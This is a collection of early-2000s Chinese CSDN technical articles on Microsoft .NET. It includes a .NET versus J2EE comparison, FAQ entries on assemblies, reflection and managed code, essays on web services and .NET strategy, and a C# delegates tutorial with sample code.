上述最后的几点勾画出.Net和J2EE的某些关键性的差异，以及微软在这些方面所扮演的角色。微软现在正在为.Net做两件值得注意的事：通过将XML和SOAP集成到他们的信息传输方案中，从而为以其它编程语言开发商和非.Net部件打开通向.Net的道路。

通过让语言元件交叉互动，.Net正在释放Perl、Eiffel、Cobol和其它编程器，允许它们扮演微软“沙盘”的角色。这些语言的爱好者应该特别遵守规则，因为他们中大部分人在微软/SUN/OpenSource竞争中感受到约束和定界。因此，只要在他的元件发信层使用XML和SOAP，微软就能支持他们将开放性部件加到他们的平台上，从而摆脱对专用性的依赖。

正确的响应是甚麽？

对于微软的开发商，.Net是一个好的构架，你可以将许多事情交给微软的体系结构去完成。ASP.NET比ASP好，ADO.NET比ADO和DCOM出色，但有所差别，C# 比C和C++更好。.Net最初版将在2001年的某个时候可以得到，因此你有足够的时间准备。但是可以肯定，它将成为微软平台的缺省（约定）开发环境。如果您现在正在微软的开发构架中从事开发工作，将.Net的元件采纳到你的体系结构中，肯定能够获得利益。

但是，.Net平台的几个期望目标极高，但不能保证全部起步，至少在短期内完成不了。例如IL公共语言运行时在使开发者获益之前还有某些明显的障碍需要克服。想要把每一种语言和元件运行时集成起来，必须定义这种语言的子集/超集，并清晰地影射到IL运行时上，和必须定义结构，以便提供IL需要的元数据，然后和必须开发适用于两种编译语言结构（对象、部件等）的编译器（从XML到IL和从IL到XML），集成到IL部件字节代码中，同时还要生成对现有IL元件的语言专用接口。

这里还有一些历史的因由，必须开发非Java语言到JavaVM的众多桥梁，如：Jpython、PERCobol、The Tcl/Java Project。同时，如果有足够的兴趣，几年前就应将Bertrand Meyes和一些别的Eiffel folk一起放到Eiffel-to-Java VM系统中(几年后)，只有Jpython 例外。这些工具得到广泛的采纳，甚至在他们自己相关的委员会里也是这样，即使它们似乎能够提供一种方法，用你所偏爱的语言，为Java环境写代码(虽然不是整个J2EE构架)。然而为什么还这样缺乏热情？因为人们犹豫，不想承受从它们的开发语言中，将额外的翻译工作加到目标构架上。如果Java环境是目标，人们通常会选择学习Java。我预计，对.Net也是同样正确的。人们将会选择学习C#和用这种语言写.Net的部件。

另一点要注意：基于.Net的SOAP将用于分布式通信，谨防性能损失。SOAP基本上意味着在HTTP上的XML。HTTP不是一个高性能的数据协议，因此XML隐含一个XML语法解析层，也就是需要更多的计算开销。两者相结合会大大减少相对另一种发信/通信信道的事务处理速率。XML是一种非常丰富的、十分强大的发信用的元语言。HTTP是非常灵活可移动的，因此可以防止许多防火墙的损失，但是如果事务处理速率对你是优先考虑的话，请保持你的选项打开。

对于Java和开放资源委员会

请不要把.Net作为微软市场竞争的手段，继续以你们喜爱的方式理解.Net可能更容易接受。但是.Net并不是一种精巧的标志，而是微软策略的重大转移，将为其平台带来福音。他们正在为使其它的构架和平台在管理级上做得更好而奋斗。提供关于自身成本和无缝集成方面有用的可查询的统计资料。现在他们正努力把Java和开放资源自身所特有的元语言，逐步开放，然后力图直接满足开发商的需要。在过去一段时间里，由于他们没有做好，两件事情失败了。如果你认为自己是Java和无资源平台的福音的传播者，那么，竞争的性质就会改变。

另外，微软的IL运行时，至少可能有一个值得注意的目标：就是清除编程语言进入结构框架的障碍。Java清除了平台的障碍(当然在有限范围内，例如你不能没有硬件资源来制作软件)。但是为了用J2EE来作开发工作，你必须在Java环境下工作。而.Net是想让你使用你选择的语言来建造.Net应用程序，这是十分美妙的。尽管还有一些大问题没有解决。如：.Net中的IL方式什么时候和是否会实际上变成广泛使用的(工具)(如上所述)。不管怎样，这就表明了单语言的J2EE方式存在弱点。这个弱点的重要性可以怀疑，但是它依然存在，因此它值得Java委员会考虑。如果开发商真的认为是这样，那么就可以把力量放在Java字节代码生成器方面，以适应非Java语言，当然这需要组织和浓缩(汇总)。

再深入研究一下J2EE，立即可以得到一些结论。为了支撑该平台和.Net相较量的优势。首先XML支持要无缝地集成到结构框架中，我们且不说将XML SAX/DOM语法解析器作为一组标准服务或者在配置元件中，扩展XML的使用。这里需要XML的发信和操作处于随时可用状态。公认的做法是在JMS顶端用XML的内容发信，但是并不是所有的平台都有这种设施，XML空间是一堆杂乱无章的标准，非关键因素标准，API和DTD是你处理元语言时期望的。

但是微软已经将SOAP放在基础层，很难把某些可理解和有用的东西放到开发商手里。J2EE的倡议者需要用他们的平台做同样的事。记住一种可能性是将XML发信提供者层放在JMS的顶部。后面紧接着Java命名和目录接口或者带LDAP的JNDI、NIS和COS命名等等。这种和标准SOAP/BizTalk供应商，EBXML供应商等等的结合将是种令人印象深刻的语句(说明)。

澄清和更正：

由于本文在2000年8月份发表的，有40位读者以他们关心.Net和J2EE对比的想法返回给我们(见读者回信)，本文作者Jim Farley筛选过这些内容，同时用电子邮件回复他们，因此增加以下的澄清和更正。

澄清：

C#的编译特点和Java的编译特点对比似乎让读者产生混淆，为了更清楚一点，我们用另一种方法比较：C#代码总是以自然的形式运行。Java代码典型地是以解析型字节代码运行；C#可整个编译成自然代码，或者编译到公共语言运行时字节代码中，然后在执行期间逐次编译自然代码。另一方面，Java代码典型地以运行时解析型字节代码方式运行(据此，其交叉平台能力可以增长)。同时也能够以逐次编译上下文连接方式运行；也有了一些Java自然代码编译器(Jove、Bullet Train、JET等)。

作为旁注(附注)，微软要求遵循Java的约定解析性模式在这种模式中，设计用于虚拟机的字节代码，本身不用于自然代码优化，我没有看到有力的数据证明或反驳这个要求，(一般的应针对字节代码对比自然编译语言，或者特殊针对 Java对比C#)。

在回应中，有几位读者指出J2EE支持XML，这说明了这样一个事实：J2EE1.3版(现以草案方式发布)要求任何兼容J2EE的产品，必须包含Java XML SAX和DOM语法解析器。这正是我说的“把XML SAX/DOM捆绑到Java上。我已经要求他们采取进一步措施，以J2EE支持API方式直接支持XML协同工作。最理想的方法是基于J2EE的部件和服务，应让XML在某种程度上自动支持内建(对发信、接口描述、输出等)。

更正：

我在本文中说：C#“借用了某些JavaBeans的部件概念”。这句话没有证据，正如几位读者指出，更合适的说法是“微软C#的功能多于它们本身的COM和VB模型，这是由于来自其它已有的部件模型的影响".


csdn_什么是配件(assembly)?

  什么是配件(assembly)?

什么是配件(assembly)?

assembly, 这里把它翻译为配件, 以示和组件(Component)加以区别. 如果您觉得不合适, 请指正!

一个配件有时候是指一个EXE或者DLL文件, 实际上是一个应用程序(就是指带有主程序入口点的模块)或者一个库文件. 但是配件实际上可以是由一个或者多个文件组成(dlls, exes, html等等), 代表一组资源, 以及类型的定义和实现的集合. 一个配件也可以包含对其它配件的引用. 所有这些资源、类型和引用都在一个列表(manifest)中描述。这个manifest也是配件的一部分，所以配件是一个自我描述的，不需要其它附加的部件对其描述!

配件的另一个重要特性是，它是.Net环境下类型标识的一部分，也可以说是基本单位。因为，区分一个类型的标识就是包含这个类型的配件名字加上类型名本身。举个例子，配件A定义了类型T, 配件B也定义了同名类型T，但是.Net把这两个类型认为是不同的类型。

注意，不要把配件(assembly)和名字空间(namespace)混淆起来。其实，名字空间仅仅是用来把类型名用树的形式组织起来的手段。对于运行是环境来讲，类型名就是类型名，和名字空间一点关系都没有。

总之，记住配件名加上类型名唯一标识一个运行时类型。

另外，配件也是.Net框架用于安全策略的基本单位，许多安全策略都是基于配件的。


csdn_什么是映射(reflection)?

  什么是映射(reflection)?

所有的.Net编译器在产生模块(Modules)的目标代码时都会产生有关类型的元数据(metadata), 这种元数据被捆绑在模块目标代码上(多个模块组成assemblies, 一个assembly是.Net下安全控制的基本单位,也是类型对象识别的基本单位), 这种元数据可以通过.Net环境下的reflection对象访问. System.Reflection名字空间下包含了可以访问这种数据的多种类.

使用reflection访问.Net元数据和使用ITypeLib/ITypeInfo访问COM对象的类型库数据非常类似. 例如, 决定类型数据的大小, 通过(程序上下文/进程/机器)边界列集数据传递.

所以, 可以使用Reflection对象动态引用方法(可以查看System.Type.InvokeMember), 甚至还可以动态地在运行时产生类型(System.Reflection.Emit.TypeBuilder)


csdn_什么是受管(managed)?

  什么是受管(managed)?

"受管"的概念在.Net环境下被广泛使用,但是不同地方的含义有点差别:

受管代码:
.Net环境提供了许多核心的运行时服务, 比如异常处理和安全策略. 为了能使用这些服务, 必须要给运行时环境提供一些信息, 这种代码就是受管代码. 所有的C#, VB.NET, JScript.NET缺省都是受管的. 注意VS7 C++不是受管的! 但是编译器能够使用命令行选项(/com+)产生受管代码!

受管数据:
所有由受管代码管理的数据都是受管数据, 这些数据都通过.Net垃圾自动处理器来管理. 但是即使使用了/com+命令行选项,VS7 C++数据也不是受管的, 必须加上_gc关键字才是受管的.

受管类:
通常就是指在ME(Managed Extensions)下的C++类, 加上_gc关键字, 就是一个受管类了. 这就意味着什么呢?
第一: 这种类的实例是由垃圾自动收集器管理的.
第二: 除了上面一点, 还有由.Net带来的益处和弊处. 比如, 这种类可以和其它语言交互访问, 比如, ME C++可以从VB类中继承. 这就是益处. 但是受管类只能从一个基类继承, 这就是弊处.


csdn_.NET 开发

  .NET 开发
作者： ShowMan
常年累月，我们使用计算机的方式在变。今天，每个人都看到因特网的价值，并且，我们使用计算机的方式在变得越来越依靠网络提供的服务。就我而论，我喜欢通过因特网买东西，获取交通信息，比较产品，买票，读产品评论。

不过，我发现在今天，因特网上还有许多我想做的事情不能实现。例如，我想在我的社区找到一个对菜肴风味有详细介绍的餐馆。此外，我想知道这个餐馆今晚7点是否还有空位。

或者，如果我在做生意，我会希望知道卖方商品的详细资料。如果有多个的卖方能向我提供资料，我想知道哪个卖方的货最便宜，或者是哪个卖方能最快交付。

今天还不能存在象这样的服务，主要有两个原因。第一个原因是, 没有合适的标准来描述全部信息类型。第二个原因是，今天的商家用自己的方式告诉别人他们在卖什么。XML的出现，提供了描述全部信息类型的标准。第二的理由可以归结为：为了提供这样的服务而必须进行的开发工作具有难度。

微软公司预见到出售服务将是未来之路。换句话说，公司将提供服务，并且被服务的用户将支付服务的费用。很多的服务将免费，还有一些服务将按月收费或按用户个数收费。当写这篇文章时，个人和商业公司如何对这些服务支付的费用细节尚不清楚；我们必须先看一看这种业务将会如何开展。你能把服务看作一些商业抽象概念的实现。这里是一些简单的服务例子：

将邮政编码转换为经纬位置；

验证信用卡的购买力；

找到从某地到达另一地的方法；

找一家需要的餐馆；

管理一个在线像册；

控制一个在线日历；

我可以继续设想一个公司应实现的服务。

毫不怀疑地，微软公司将在不远的将来, 提供一些这类的服务。其它的公司将提供其它的服务，并且，他们能完全参加（甚至和微软公司一起）到一个自由的市场。

那么，我们怎样从今天这样的环境，到达轻松实现那些服务的未来世界呢？并且，我们如何利用与结合服务的观念，制作出真正具有丰富特性的应用程序（这种应用会基于HTML 或其他方式）呢？例如，如果所有餐馆都提供列出菜单的服务，那么就可以制作这样一个应用，它可以查找到用户希望就餐的餐馆。通过查询每个餐馆的菜单，找到具有用户需要的烹调风味或菜肴的，并且就在用户附近的餐馆。

为了制作象这样的应用，服务提供者必须为他们的商务服务提供程序上的逻辑接口。这种编程上的接口必须可以通过网络由远端调用，比如因特网。这就是Microsoft.NET initiative。

让我这样解释它：计算机与外围设备（内存，显示器，数字照相机，扫描仪，以及其他等等）连接。操作系统（象视窗）提供的开发平台，使应用程序可以抽象存取这些外围设备。按这种方式，你可以把这些外围设备看作服务。在新的世界里，服务（或者外围设备）将被连接在因特网上。

开发者想得到访问这些服务的简单的方法。Microsoft.NET initiative提供了这样的开发平台。

可以确定的是，微软并没有拥有任何涉及到未来将实际发生的事件的标准。在因特网上，应用和服务之间的通讯，通过HTTP包完成。在HTTP包的内部是需要服务的的 XML数据，之后服务端通过把XML数据回送给客户，就完成了应答。XML数据具有正式的标准。这标准被叫做简单对象访问协议（SOAP）。微软公司帮助定义这些标准，但是不拥有这些标准。

以下的图形显示了彼此通过SOAP协议发送XML数据来通讯的的Web服务群。图形也显示了客户可以通过SOAP(XML)方式，经由Web服务器和其他的客户交流。另外，图形显示客户从Web服务器获得的HTML形式的服务结果。当然，也许需要客户填写了一个送给Web服务器的Web表格。Web服务器处理了客户的要求（包括与其他的Web服务器的通信），并且，结果将通过标准的HTML页最终被回送给客户。

另外，在提供服务的计算机上必须运行可以接受这些SOAP要求的操作系统。这操作系统可能是视窗操作系统，但也不是必须。任何能在Socket端口接收请求并能读写端口上数据的操作系统都可以。在不远的将来，蜂窝式电话，呼机，汽车，微波炉，电冰箱，手表，立体音响，游戏控制台和各种其他的装置将能参加到这个新的世界。

在客户或应用一方，运行的操作系统必须能读/写到 Socket端口，这样才可以发出服务要求。另外， 客户计算机上运行的操作系统必须能支持终端用户应用程序的任何要求。如果终端用户的应用程序想制作窗口或菜单，操作系统必须提供这项功能，或者，这个应用程序的开发者必须用手动实现它。

当然，微软公司希望人们利用视窗的丰富特点来编制应用程序。但是，这不一定是必要条件。我努力去说的是无论是否微软公司参与，新的变化都将发生。微软公司的技术并不能造成这些变化的发生。Microsot.NET做的是，使开发者轻而易举地的制作这些服务并访问这些服务。今天，如果我们需要，我们完全可以去制作我们自己的的操作系统。但是它真的很难，并且将花去长的时间。我们能编写Web服务，并编写接收和处理SOAP需求的程序。但同样也很难。

微软公司为了生产Microsoft.NET已经为我们完成了全部艰难的工作。它使这些工作变得简单。现在，象我们这样的应用开发者，可以集中我们的精力在我们自己关心的商业抽象概念和服务上。至于通讯协议和构建都交给微软公司。（这也许是微软公司拥有许多喜欢它的开发者的真正原因）。


csdn_微软的.NET策略

  微软的.NET策略
作者： ZDNET
Microsoft正在广泛地使用(也有人说是滥用)其.NET标记，这种情况使不少人被.NET的各种不同的概念搞糊涂了。这里我们可以先把.NET的几个主要的意义分清楚：

    .NET是软件成为一种服务的转移：

    .NET在这个方面的意义是最被广泛接受和理解的。“软件就是服务”的历年最初是在
1997年左右由Oracle的CEO Larry Ellison以及SUN的CEO Scott McNealy在网络计算机的概念大行其道的时候提出的。不过Oracle和SUN并没有真正将这个概念变为现实，他们的视角更多的集中于资源集中化方面。不过，当初听到Ellison和McNealy这番见解的公司——当然包括Microsoft，也认识到了这种见解说出了软件产业面临的一个巨大改变，.NET则是Microsoft对这种概念，这种变化作出的自己的反应。

    .NET是一个新的编程模型——也就是说是Internet平台：

    Micorsoft正在趋向于将.NET看作一个系统。在表面下，它包含了两种不同的编程模型：一个是Web服务编程模型，另一个是系统编程模型。

    Microsoft开始把.NET系统编程模型作为.NET整体的一个组成部分。计划最终以此代替现有的组件对象模型(Component Object Model，COM)以及Windows应用程序编程接口(APIs)，这个现在还没有最终正式定名的模型使用一系列新的基础类。

    .NET系统编程模型是Microsoft私有的。.NET架构(.NET Framework )则包含了Microsft的通用语言运行时(Common Language Runtime , CLR)，CLR实现了这种新的编程模型。它还包含了类以及各种机制可以把一个应用程序包装为一个Web服务，这样可以简化Web服务的开发。另外，Microsoft还发布了新的语言，C# (发音是“C sharp”)

    最终，Microsoft正在计划发布新的集成开发环境(IDE)，也就是大家都知道的Visual Studio.NET (VS.NET)，来具体实现上述程序开发策略。

    .NET是Microsoft新的公司战略

    在这个意义上，.NET实际上是Microsoft现有的所有产品，技术，策略的共同品牌，不过这个.NET品牌的使用是非常松散的。比如，Microsoft在2000年9月发布了其.NET企业服务器产品(比如Windows 2000 Data Center Server以及Application Center)，这些产品其实对于软件就是服务的理念或者是其新的编程模型没有多大的帮助。

    .NET是对抗法院的拆分命令的一个方法

    Microsoft的.NET策略在很多的领域都还是不明朗的。特别不明朗的就是Microsoft的操作系统打包策略，也许未来支持.NET的Windows版本和“经典”的Windows是分开的。我们相信在这方面缺乏具体信息的情况是Micorsoft的策略，这样Microsoft如果未来在司法部的官司中被迫拆分，还有一定的回旋余地。

    .NET的用户体验

    关于.NET的很多先期工作都要集中在下层构造以及工具这些方面，这显然是必须的。不过Microsoft也很重视.NET带来的新的用户体验。当初Windows的成功固然是得益与开发者的大力支持，但是用户体验在其成功的过程中也扮演了重要的角色。我们认为相应的模式也会发生在.NET上，其核心焦点则是Microsoft称为"智能客户端(smart clients)"的概念，智能客户端即不是纯粹的瘦客户端也不是胖客户端——作为用户体验的技术核心，.NET将有多种用户体验方面的“品牌标志”。

    两个这样的品牌标志——MSN和bCentral有着共同的特性：它们都是从一个站点开始，使用一个瘦的浏览器客户端进行服务。这些客户端更加智能些，比如MSN Explorer。

    VS.NET以及Office.NET也有同样的特征，它们都是功能丰富的客户端程序，可以和Internet和服务进行一些交互。我们期待这些产品发布的时候可以支持更多Microsoft和其它公司的服务。如果.NET充分发挥了其潜力，我们估计可以看到Microsoft以外的公司发布这样的产品。.NET描述了两种编程模型

    在技术层面上，.NET平台的基础包括：扩展置标语言，也就是我们熟悉的XML；简单对象操作协议(Simple Object Access Protocol ,SOAP)；以及将未来的Internet视为面向各种设备的服务的观念。这些高层次的描述主要是面向这个新的模型中最明显的方面——也就是实现Web服务的部分。

    然而，在内部，.NET平台建筑于.NET架构之上，.NET架构提供了实现这些概念的API的底层机制。.NET架构也经历了.NET本身的问题——就是它被用于描述太多的事情了。特别是，.NET描述了两种新的不同的编程模型，他们构成了概念的基础：这就是Web服务编程模型(Web services programming model )以及系统编程模型(system programming model)。

    企业一定要认识到，组成.NET的是两个相互独立的编程模型。Web服务编程模型与底层的系统编程模型是相互独立的。这些编程模型可以也应该分别使用。

    .NET Web服务编程模型

    .NETWeb服务编程模型大体上就是通过Internet的各种标准来实现各种接口。这是一组以Internet标准为基础的松散的模型，使用HTTP和其它的协议作为主要的通讯机制，同时，使用了XML，SOAP，Web服务描述语言(Web Services Description Language，WSDL)，以及通用描述，发现，集成(Universal Description, Discovery, and Integration ,简称UDDI)。最初，多数这种编程模型的使用将采取请求/应答的模式。

    在2003年，Web服务的主要形式将是组件调用以及信息推送，这些在所有Web服务中占到75%以上。更长远的未来，我们认为“协调组织”了的工作流或者服务将成为Web服务的主力，很多这些编程模型已经出现了，比如SOAP和其它一些出现在.NET以前的技术，而且这些技术现在就是可用的，在正式的.NET产品以前就有了。

    作为日益增多的Web服务体系的一种，.NET架构提供了与底层的系统API以及组件模型无关的编程模型。这也体现了Microsoft和其它一些公司在上个世纪90年代对分布式计算的看法，并且通过一个简单的方法借助Internet得到了实现。服务以服务器上的程序的方式来实现，这些程序使用标准的协议与调用的程序进行对话。

    如果需要在一个系统中的一个进程中进行跨组件通讯，或者是跨越.NET架构系统或多个进程进行跨组件通讯，.NET架构可以使用SOAP或者或者是二进制协议进行通讯。如果进行跨系统环境(比如，和非.NET架构系统)进行组件通讯，.NET架构可以只使用SOAP。在一个系统上运行的程序和服务仍然使用COM，不过以后慢慢将会变成使用.NET中的新类。

    理论上，这些程序还可以是在UNIX上实现的Enterprise JavaBeans，不过Microsoft没有为此提供什么帮助。但是要记住.NET Web服务编程模型是不依赖.NET系统编程模型的。

    .NET系统编程模型

    作为.NET平台的一部分，Microsoft也建立了新的系统编程模型，同样在.NET架构上得到了实现。.NET系统编程模型在长远看将最终取代COM以及Windows API，这个现在还没有定名的模型使用了新的基础类。

    .NET架构(.NET Framework )包含了Microsft新的通用语言运行时(Common Language Runtime , CLR)，可以支持新的编程模型，并且首次将真正的面向对象的类结构作为了运行时环境的一部分。COM的界面为开发者提供的功能在.NET架构中也是可用的。

    .NET系统编程模型是Microsoft私有的，虽然有些部分被开放，这要归结于欧洲计算机制造商联合会(European Computer Manufacturers Association , ECMA)在C#标准化方面的努力。.NET系统编程模型还包含了一些类和机制，可以将现存的程序转化为Web服务，这样可以简化Web服务的开发，虽然这样的设置并不是十分有必要。

    Microsoft的主席Bill Gates将这种向.NET平台的迁移比作和从DOS到Windows一样意义重大。不过我们觉得更加准确的比较应该是这种迁移类似于Win16向Win32的迁移。在向Windows的迁移中，DOS下的程序立刻成为了过去，而Win16的应用则在很大程度上和Win32兼容。

    另一个比较好的比较是把.NET比作当初Mirosoft实现自己的Java时的情况，当时Microsoft将Java类和组件包装为COM组件，Microsoft了解到了将两种模型相互映射的好处，现在Microsoft开始发展这个还没有名字的新的组件模型，他们再次将新旧模型进行了映射和包装，旧模型就是COM，Microsoft在这里的真正意图之一是去掉对Java的需求。


csdn_介绍.NET中的委派（Delegates）

  介绍.NET中的委派（Delegates）
作者： 赵湘宁
回调函数
回调函数的确是至今为止最有用的编程机制之一。C运行时的qsort函数利用回调函数对数组元素进行排序。在Windows中，回调函数更是窗口过程，钩子过程，异步过程调用，以及目前Microsoft .NET框架所必需的，在整个回调过程中自始至终地使用回调方法。人们可以注册回调方法以获得加载/卸载通知，未处理异常通知，数据库/窗口状态修改通知，文件系统修改通知，菜单项选择，完成的异步操作通知，过滤一组条目等等。
在C/C++中，一个函数的地址就是内存地址。这个地址不会附带任何其它赋加信息，如函数的参数个数，参数类型，函数的返回值类型以及这个函数的调用规范。简言之，C/C++回调函数不是类型安全的。
在.NET框架中，回调函数所受到的重用与它在Windows非受控编程中一样。不同的是在.NET框架中提供了一种叫委派（delegates）的类型安全机制。我们先来研究一下委派的声明。下面的代码展示了如何声明，创建和使用委派：
//
using System;
using System.WinForms; // 在beta2版本中为：System.Windows.Forms
using System.IO;

class Set {
private Object[] items;

public Set(Int32 numItems) {
items = new Object[numItems];
for (Int32 i = 0; i < numItems; i++)
items[i] = i;
}

// 定义 Feedback，类型为delegate
// (注意: 这个类型在Set类中是嵌套的)
public delegate void Feedback(
Object value, Int32 item, Int32 numItems);

public void ProcessItems(Feedback feedback) {
for (Int32 item = 0; item < items.Length; item++) {
if (feedback != null) {
// 一旦指定了回调，便调用它们
feedback(items[item], item + 1, items.Length);
}
}
}
}

class App {
[STAThreadAttribute]
static void Main() {
StaticCallbacks();
InstanceCallbacks();
}

static void StaticCallbacks() {
// 创建一个Set对象，其中有五个项目
Set setOfItems = new Set(5);

// 处理项目，feedback=null
setOfItems.ProcessItems(null);
Console.WriteLine();

// 处理项目，feedback=Console
setOfItems.ProcessItems(new Set.Feedback(App.FeedbackToConsole));
Console.WriteLine();

// 处理项目，feedback =MsgBox
setOfItems.ProcessItems(new Set.Feedback(App.FeedbackToMsgBox));
Console.WriteLine();

// 处理项目，feedback = console AND MsgBox
Set.Feedback fb = null;
fb += new Set.Feedback(App.FeedbackToConsole);
fb += new Set.Feedback(App.FeedbackToMsgBox);
setOfItems.ProcessItems(fb);
Console.WriteLine();
}

static void FeedbackToConsole(
Object value, Int32 item, Int32 numItems) {
Console.WriteLine("Processing item {0} of {1}: {2}.",
item, numItems, value);
}

static void FeedbackToMsgBox(
Object value, Int32 item, Int32 numItems) {
MessageBox.Show(String.Format("Processing item {0} of {1}: {2}.",
item, numItems, value));
}

static void InstanceCallbacks() {
//创建一个Set对象，其中有五个元素
Set setOfItems = new Set(5);

// 处理项目，feedback=File
App appobj = new App();
setOfItems.ProcessItems(new Set.Feedback(appobj.FeedbackToFile));
Console.WriteLine();
}

void FeedbackToFile(
Object value, Int32 item, Int32 numItems) {

StreamWriter sw = new StreamWriter("Status", true);
sw.WriteLine("Processing item {0} of {1}: {2}.",
item, numItems, value);
sw.Close();
}
}
//

注意代码最上面的Set类。假设这个类包含一组将被单独处理的项目。当你创建Set对象时，将它要操纵的项目数传递给它的构造函数。然后构造函数再创建对象（Objects）数组并初始化每一个整型值。
另外，Set类定义了一个公共的委派，这个委派指出某个回调函数的签名。在这个例子中，委派Feedback 确定了一个带三个参数的方法（第一个参数为Object，第二和第三个参数都是Int32类型）并且返回void。在某种意义上，委派很像C/C++中表示某个函数地址的类型定义（typedef）。
此外，Set类定义了一个公共方法：ProcessItems。这个方法有一个参数feedback——一个对委派Feedback 对象的引用。ProcessItems迭代遍历所有的数组元素，并且针对每一个元素调用回调方法（由feedback变量指定哪一个会调方法），这个回调方法被传递，从而以不同的方式处理回调方法所传递的项目值，项目数量以及数组中的元素数目。可以看出回调方法能以它选择的任何方式处理每一个项目。
使用委派调用静态方法
StaticCallbacks方法示范了用各种不同方式的回调委派。这个方法首先构造一个Set对象，告诉它对象创建有五个对象元素的数组。然后调用ProcessItems，在第一个调用中，它的feedback参数为null。ProcessItems呈现一个方法，这种方法为每一个Set操纵的项目实现某种动作。在第一个例子中，因为feedback参数是null，在处理每一个项目时不调用任何回调方法。
第二个例子中创建了一个新的Set.FeedBack委派对象，这个委派对象是一个方法包装器，允许方法的调用是经由这个包装器间接调用。对于类型FeedBack的构造器来说，方法的名字（App.FeedBackConsole）被作为构造器的参数传递；这就表示方法被包装。然后，从new操作符返回的引用被传到ProcessItems。现在，当执行ProcessItems时，它会调用App类型的FeedbackToConsole方法处理集合中的每一个项目。FeedbackToConsole简单地将一个串输出到控制台，表示哪个项目被处理了以及这个项目的值是什么。
第三个例子与第二个例子基本相同。唯一的差别是Feedback委派对象包装的是另一个方法：App.FeedbackToMsgBox。这个方法建立一个串，用这个串表示哪个项目被处理以及这个项目的值是什么。然后将这个串显示在一个信息框中。
第四个例子也是静态调用的最后一个例子示范了如何将委派链接在一起形成一个链。在这个例子中，首先创键一个Feedback委派对象的引用变量fb，并将它初始化为null。这个变量指向委派链表的头。Null值表示链表中没有节点。然后，构造Feedback委派对象，由这个对象包装对App FeedbackToConsole方法的调用。C#中，+=操作符被用于将对象添加到fb引用的链表中。Fb此时指向链表的头。
最后，构造另一个Feedback委派对象，由这个对象包装对App FeedbackToMsgBox方法的调用。C#中的+=操作符又一次被用于将对象添加到fb引用的链表中，并且fb被新的链表的头更新。现在，当执行ProcessItems时，传递给它的是Feedback委派链表的头指针。在ProcessItems内部，调用回调方法的代码行实际上终止调用所有的在链表中由委派对象包装的回调方法。也就是说，对于被迭代的每一个项目，都会调用FeedbackToConsole，接着马上调用FeedbackToMsgBox。在后续文章中我将详细讨论委派链的处理机制。
有一点很重要，那就是在这个例子中每件事情都是类型安全的，例如，当构造Feedback委派对象时，编译器保证App的FeedbackToConsole和FeedbackToMsgBox方法都具备确切的原型，像由Feedback委派定义的一样。既两个方法必须有三个参数（Object，Int32和Int32），并且两个方法必须有相同的返回类型（void）。如果方法原型不匹配，则编译器将发出下面的出错信息：“error CS0123：The signature of method 'App.FeedbackToMsgBox()' does not match this delegate
type。”——意思是App.FeedbackToMsgBox()方法的签名与委派的类型不匹配。
调用实例方法
前面我们讨论了如何使用委派调用静态方法。但是委派还能被用于调用特定对象的实例方法。在调用实例方法时，委派需要知道这个它要用方法操作的对象的实例。
为了理解实例方法的回调机制，让我们回头看看前面代码中的InstanceCallbacks方法。这段代码与静态方法的情形极其相似。注意在Set对象被创建之后，App对象被创建。这个App对象仅仅是创建而已，处于示例目的没有其它内容。当新的Feedback委派对象被创建的时候，它的构造齐备传到appobj.FeedbackToFile。这将导致这个委派包装对FeedbackToFile方法的引用，FeedbackToFile是个实例方法（非静态）。当这个实例方法被调用时，由appobj引用的对象被操作（作为隐藏传递参数）。FeedbackToFile方法的作用有点像FeedbackToConsole 和 FeedbackToMsgBox，不同的是它打开一个文件并将处理的项目串添加到文件尾。

揭开委派的神秘面纱
从表面上看，委派好像很容易使用：用C#委派关键字定义，用类似new操作符的方式构造它们的实例， 用类似方法调用的语法调用回调方法（不同的是不使用方法名，而是使用指代委派对象的变量）。
然而，委派的实际运行机制要比前述例子中所描述的过程要复杂的多。编译器和公共语言运行时（CLR）在幕后所做的许多处理隐藏了这些复杂性，在这一部分中，我们将集中精力来讨论编译器和CLR是如何协同工作实现委派机制的。这些知识将极大地丰富你对委派的理解并且这些知识将告诉你如何有效地使用它们。我们还将涉及到一些在编程中能用到的委派的附加特性。
我们还是从下面这行代码开始：
public delegate void Feedback(
Object value, Int32 item, Int32 numItems);

当编译器看到之一行代码时，它会产生一个完整的类定义，这个定义的代码会像下面这个样子：
//
public class Feedback : System.MulticastDelegate {
// 构造器
public Feedback(Object target, Int32 methodPtr);

// 方法与源代码描述的原型相同
public void virtual Invoke(
Object value, Int32 item, Int32 numItems);

// 方法允许被异步回调，后继文章将讨论这些方法
public virtual IAsyncResult BeginInvoke(
Object value, Int32 item, Int32 numItems,
AsyncCallback callback, Object object);
public virtual void EndInvoke(IAsyncResult result);
}
//

事实上，通过使用ILDasm.exe程序检查结果模块（如图三），你能发现编译器确实自动产生了这个类。

图三 检查编译器产生的类
在这个例子中，编译器已经定义了一个叫Feedback的从System.MulticastDelegate类型派生的类，它是在框架类库（Framework Class Library）中定义的。要知道，所有委派类型都是从MulticastDelegate派生出来的。在这个例子中，Feedback类是公共（public）类型的，因为在源代码中它的类型被定义为public。如果用私有（private）或者受保护的（protected）类型定义，则由编译器产生的Feedback类也将是私有或者受保护的类型。你应该注意到委派类可能会在某个类中定义（如例子中Feedback就是在Set类中定义的）；委派也可能在被定义为全局型。从本质上说，可以将委派看成是类，可以在定义类的任何地方定义委派。
因为所有的委派都派生于MulticastDelegate，它们继承了MulticastDelegate的域，属性和方法。在所有这些成员中，你要特别注意三个私有（private）域：
用于委派类型的私有域：
域 类型 描述
_target System.Object 指回调函数被调用时应该操作的对象。用于实例方法回调
_methodPtr System.Int32 内部整型，CLR用它来标示被回调的方法
_prev System.MulticastDelegate 指另一个委派对象，通常为null

所有的委派都有代两个参数的构造器：一个参数是对象引用，一个是指代回调方法的整型。但是，如果你检查源代码，就会发现明白诸如App.FeedbackToConsole 或 appobj.FeedbackToFile的传递使用值进行的。你的敏感会告诉你这个代码不能编译！
然而，编译器知道某个委派被创建，同时编译器解析源代码以决定引用哪个对象和方法。对象引用被传递为目标参数，并且用某个特定的Int32值（从某个MethodDef或MethodRef元数据符号获得）标示的方法被传递为methodPtr参数。对于静态方法，null被传递为目标参数。在构造器内部，这两个参数被存储在它们对应的私有（private）域中。
另外，构造器将这个域置为null。这个域被用来创建一个MulticastDelegate对象链表。现在我们暂时忽略_prev域，在后续文章中将会详细讨论有关它的内容。
